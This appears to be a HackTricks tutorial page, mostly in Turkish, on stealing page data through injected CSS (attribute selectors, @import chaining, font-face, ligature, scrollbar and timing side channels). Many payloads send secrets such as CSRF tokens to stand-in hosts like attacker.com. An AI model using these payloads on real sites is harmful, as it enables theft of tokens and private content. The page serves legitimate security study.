760 lines
27 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
## CSS Injection
### Attribute Selector
CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanmıştır. Eğer giriş öğesinin değer özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış bir dış kaynak yüklenir:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Ancak, bu yaklaşım gizli giriş öğeleri (`type="hidden"`) ile çalışırken bir sınıra sahiptir çünkü gizli öğeler arka planları yüklemez.
#### Gizli Öğeler için Bypass
Bu sınırlamayı aşmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş öğeyi hedefleyebilirsiniz. CSS kuralı, gizli giriş öğesini takip eden tüm kardeşlere uygulanır ve arka plan resminin yüklenmesine neden olur:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Bu tekniğin istismarına dair pratik bir örnek sağlanan kod parçasında detaylandırılmıştır. Bunu [buradan](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) görüntüleyebilirsiniz.
#### CSS Enjeksiyonu için Ön Koşullar
CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlanması gerekmektedir:
1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulmuş seçicileri barındıracak kadar uzun yükleri desteklemelidir.
2. **CSS Yeniden Değerlendirmesi**: Sayfayı çerçeveleme yeteneğine sahip olmalısınız; bu, yeni oluşturulmuş yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir.
3. **Dış Kaynaklar**: Bu teknik, dışarıda barındırılan resimlerin kullanılabilme yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir.
### Kör Özellik Seçici
[**bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içerik tanımlamak mümkündür. Bu, CSS enjeksiyonunu yükleyen web sayfasının içinde ne olduğunu bilmediğinizde çok faydalıdır.\
Ayrıca, bu seçicileri aynı türdeki birkaç bloktan bilgi çıkarmak için kullanmak da mümkündür:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Bunu aşağıdaki **@import** tekniği ile birleştirerek, **blind-css-exfiltration** ile **kör sayfalardan** çok fazla **bilgi sızdırmak** mümkündür.
### @import
Önceki tekniğin bazı dezavantajları vardır, ön koşulları kontrol edin. Ya **kurbanın birden fazla bağlantı alabilmesi** gerekir ya da **CSS enjeksiyonuna açık sayfayı iframe'leyebilmeniz** gerekir.
Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır.
Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) tarafından gösterilmiştir ve şöyle çalışır:
Her seferinde on farklı yük ile aynı sayfayı tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurbana gönderilecek yük):
```css
@import url("//attacker.com:5001/start?");
```
1. İthalat, **saldırganlardan bazı CSS scriptleri alacak** ve **tarayıcı bunu yükleyecek**.
2. Saldırganın göndereceği CSS scriptinin ilk kısmı, **saldırganın sunucusuna tekrar başka bir `@import` olacak.**
1. Saldırganın sunucusu bu isteğe henüz yanıt vermeyecek, çünkü bazı karakterleri sızdırmak istiyoruz ve ardından bu ithalatı sızdırılacak sonraki karakterlerle birlikte yükleyeceğiz.
3. Yüklemenin ikinci ve daha büyük kısmı, **bir nitelik seçici sızıntı yüklemesi** olacak.
1. Bu, saldırganın sunucusuna **sırrın ilk ve son karakterini** gönderecek.
4. Saldırganın sunucusu **sırrın ilk ve son karakterini** aldıktan sonra, **adım 2'de talep edilen ithalata yanıt verecek**.
1. Yanıt, **adım 2, 3 ve 4'tekiyle** tam olarak aynı olacak, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak**.
Saldırgan, **sırrı tamamen sızdırana kadar bu döngüyü takip edecek**.
Orijinal [**Pepe Vila'nın bu açığı istismar etmek için kodunu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse [**aynı kodu ama yorumlu burada bulabilirsiniz**.](#css-injection)
> [!NOTE]
> Script, her seferinde 2 karakter keşfetmeye çalışacak (başlangıçtan ve sondan) çünkü nitelik seçici, şunları yapmaya izin verir:
>
> ```css
> /* value^= değerin başlangıcını eşleştirmek için */
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= değerin sonunu eşleştirmek için */
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Bu, scriptin sırrı daha hızlı sızdırmasına olanak tanır.
> [!WARNING]
> Bazen script, **öğrenilen ön ek + son ekin zaten tam bayrak olduğunu doğru bir şekilde tespit edemez** ve ileri (ön ekte) ve geri (son ekte) devam eder ve bir noktada takılır.\
> Endişelenmeyin, sadece **çıktıyı** kontrol edin çünkü **orada bayrağı görebilirsiniz**.
### Diğer seçiciler
**CSS seçicileri** ile DOM parçalarına erişmenin diğer yolları:
- **`.class-to-search:nth-child(2)`**: Bu, DOM'daki "class-to-search" sınıfına sahip ikinci öğeyi arayacaktır.
- **`:empty`** seçici: Örneğin, [**bu yazıda**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** kullanılmıştır:**
```css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
```
### Hata tabanlı XS-Search
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC @terjanq tarafından](https://twitter.com/terjanq/status/1180477124861407234)
Genel amaç, **kontrol edilen bir uç noktadan özel bir font kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemediğinde bu fontla görüntülenmesini sağlamaktır**.
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
1. **Özel Yazı Tipi Kullanımı**:
- Özel bir yazı tipi, `<head>` bölümündeki `<style>` etiketinde `@font-face` kuralı kullanılarak tanımlanır.
- Yazı tipinin adı `poc` olarak belirlenmiş ve harici bir uç noktadan (`http://attacker.com/?leak`) alınmaktadır.
- `unicode-range` özelliği `U+0041` olarak ayarlanmış, bu da belirli Unicode karakteri 'A'yı hedef alır.
2. **Yedek Metin ile Nesne Elemanı**:
- `<body>` bölümünde `id="poc0"` olan bir `<object>` elemanı oluşturulmuştur. Bu eleman, `http://192.168.0.1/favicon.ico` adresinden bir kaynak yüklemeye çalışır.
- Bu elemanın `font-family` değeri, `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanmıştır.
- Eğer kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
- Harici kaynak yüklenemezse, yedek içerik ('A') özel yazı tipi `poc` kullanılarak render edilir.
### Kaydırma ile Metin Parçasına Stil Verme
**`:target`** psödo-sınıfı, bir **URL parçası** ile hedeflenen bir elementi seçmek için kullanılır; bu, [CSS Seçicileri Seviye 4 spesifikasyonunda](https://drafts.csswg.org/selectors-4/#the-target-pseudo) belirtilmiştir. `::target-text`'in, metin açıkça parça tarafından hedeflenmedikçe hiçbir elementi eşleştirmediğini anlamak önemlidir.
Bir güvenlik endişesi, saldırganların **Kaydırma ile Metin** parçası özelliğini kullanarak, HTML enjeksiyonu yoluyla kendi sunucularından bir kaynak yükleyerek bir web sayfasında belirli metinlerin varlığını doğrulamalarına olanak tanımasıdır. Yöntem, şu şekilde bir CSS kuralı enjekte etmeyi içerir:
```css
:target::before {
content: url(target.png);
}
```
Bu tür senaryolarda, sayfada "Administrator" metni mevcutsa, `target.png` kaynağı sunucudan talep edilir ve metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilen CSS'i bir Scroll-to-text parçasıyla birlikte içeren özel olarak hazırlanmış bir URL aracılığıyla gerçekleştirilebilir:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Burada, saldırı HTML enjeksiyonunu manipüle ederek CSS kodunu iletmeyi amaçlamakta ve "Administrator" metnini Scroll-to-text fragment (`#:~:text=Administrator`) aracılığıyla hedef almaktadır. Metin bulunduğunda, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını sinyal eder.
Azaltma için aşağıdaki noktalar dikkate alınmalıdır:
1. **Kısıtlı STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da rastgele gizli bilgilerin veya token'ların sızma yeteneğini sınırlamaktadır.
2. **Üst Düzey Tarayıcı Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez, bu da herhangi bir istismar girişimini kullanıcıya daha belirgin hale getirir.
3. **Kullanıcı Etkileşimi Gerekliliği**: STTF'nin çalışması için bir kullanıcı etkileşimi gereklidir, bu da istismarların yalnızca kullanıcı tarafından başlatılan gezintilerle mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilme riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşulları ve geçiş yollarını (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtmektedir.
Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sağlamak ve bu tür istismar taktiklerine karşı korunmak için anahtardır.
Daha fazla bilgi için orijinal rapora bakın: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Bu teknikle bir CTF için bir [**istismar kontrol edebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Sayfada mevcut olan **belirli unicode değerleri için dış fontlar belirtebilirsiniz** ve bu fontlar yalnızca **o unicode değerleri sayfada bulunduğunda toplanacaktır**. Örneğin:
```html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
```
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
ıklanan teknik, font ligatürlerini kullanarak bir düğümden metin çıkarmayı ve genişlikteki değişiklikleri izlemeyi içerir. Süreç birkaç adımdan oluşur:
1. **Özel Fontların Oluşturulması**:
- SVG fontları, iki karakter dizisini temsil eden bir glif için büyük bir genişlik ayarlayan `horiz-adv-x` niteliğine sahip gliflerle oluşturulur.
- Örnek SVG glifi: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakter dizisini belirtir.
- Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
2. **Genişlik Değişikliklerinin Tespiti**:
- Metnin sarılmamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırıcı stilini özelleştirir.
- Farklı bir şekilde stillendirilmiş yatay bir kaydırıcının görünümü, metinde belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin mevcut olduğunun bir göstergesi (oracle) olarak işlev görür.
- İlgili CSS:
```css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
```
3. **Sömürü Süreci**:
- **Adım 1**: Genişliği büyük olan karakter çiftleri için fontlar oluşturulur.
- **Adım 2**: Büyük genişlik glifinin (bir karakter çiftinin ligatürü) render edildiğini tespit etmek için kaydırıcı tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir.
- **Adım 3**: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya sonraki karakter ekleyen üç karakter dizisini temsil eden yeni glifler üretilir.
- **Adım 4**: Üç karakterli ligatürün tespiti gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanır, metnin tamamı yavaş yavaş açığa çıkar.
4. **Optimizasyon**:
- Mevcut başlatma yöntemi olan `<meta refresh=...` optimal değildir.
- Daha verimli bir yaklaşım, sömürünün performansını artıran CSS `@import` hilesini içerebilir.
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) içinde yayımlandı. Bir metin düğümünde kullanılan karakter seti, tarayıcıda yüklü olan **varsayılan fontlar** kullanılarak sızdırılabilir: dışarıdan -veya özel- fontlara ihtiyaç yoktur.
Kavram, bir `div`'in genişliğini kademeli olarak artırmak için bir animasyon kullanmayı içerir, böylece bir karakter bir seferde metnin 'sonek' kısmından 'ön ek' kısmına geçiş yapar. Bu süreç, metni iki bölüme ayırır:
1. **Ön Ek**: İlk satır.
2. **Sonek**: Sonraki satır(lar).
Karakterlerin geçiş aşamaları şu şekilde görünecektir:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Bu geçiş sırasında, **unicode-range hilesi** her yeni karakterin ön ekle birleştiği anda tanımlanmasını sağlamak için kullanılır. Bu, fontu Comic Sans'a değiştirerek gerçekleştirilir; bu font, varsayılan fonta göre belirgin şekilde daha yüksektir ve dolayısıyla dikey bir kaydırıcıyı tetikler. Bu kaydırıcının görünümü, dolaylı olarak ön ekte yeni bir karakterin varlığını ortaya çıkarır.
Bu yöntem, benzersiz karakterlerin görünmesiyle tespit edilmesini sağlasa da, hangi karakterin tekrarlandığını belirtmez, sadece bir tekrarın gerçekleştiğini gösterir.
> [!NOTE]
> Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\
> **Karakter** **bulunduğunda**, önceden yüklenmiş **Comic Sans fontu** ile **verilir**, bu da karakteri **büyütür** ve **bir kaydırıcıyı tetikler**; bu da **bulunan karakteri sızdırır**.
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Metin düğümü sızdırma (III): varsayılan bir font ile karakter setini sızdırma, öğeleri gizleyerek (harici varlıklar gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durum, önceki duruma çok benziyor, ancak bu durumda belirli **karakterlerin diğerlerinden daha büyük olmasının amacı, bir butonun bot tarafından basılmaması veya yüklenmeyecek bir görüntü gibi bir şeyi gizlemektir.** Böylece eylemi (veya eylemsizliği) ölçebilir ve belirli bir karakterin metin içinde mevcut olup olmadığını bilebiliriz.
### Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter setini sızdırma (harici varlıklar gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, metinde bir karakterin olup olmadığını sızdırmayı, aynı kaynaktan sahte bir font yükleyerek deneyebiliriz:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Eğer bir eşleşme varsa, **font `/static/bootstrap.min.css?q=1`'den yüklenecektir**. Başarılı bir şekilde yüklenmeyecek olsa da, **tarayıcı bunu önbelleğe almalıdır** ve önbellek olmasa bile, **304 not modified** mekanizması vardır, bu nedenle **yanıt diğer şeylerden daha hızlı olmalıdır**.
Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunları belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun `disk-cache-size=1` bayrağını kullanması olduğunu buldum, bu gerçekten düşünceli.
### Metin düğümü dışa aktarımı (III): yüzlerce yerel "font" yüklemesiyle charset'i zamanlayarak sızdırma (harici varlık gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, bir eşleşme gerçekleştiğinde **aynı kaynaktan yüzlerce sahte font yüklemek için CSS belirtebilirsiniz**. Bu şekilde, **ne kadar zaman aldığını ölçebilir** ve bir karakterin görünüp görünmediğini bulabilirsiniz:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
Ve botun kodu şöyle görünüyor:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Yani, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, eğer bir font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecektir, bu da ağda sürekli bir aktivite olmasına neden olacaktır. Sonuç olarak, durdurma koşulunu karşılamak ve yanıt almak daha uzun sürecektir. Bu nedenle, yanıt süresi bir font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
## References
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
{{#include ../../../banners/hacktricks-training.md}}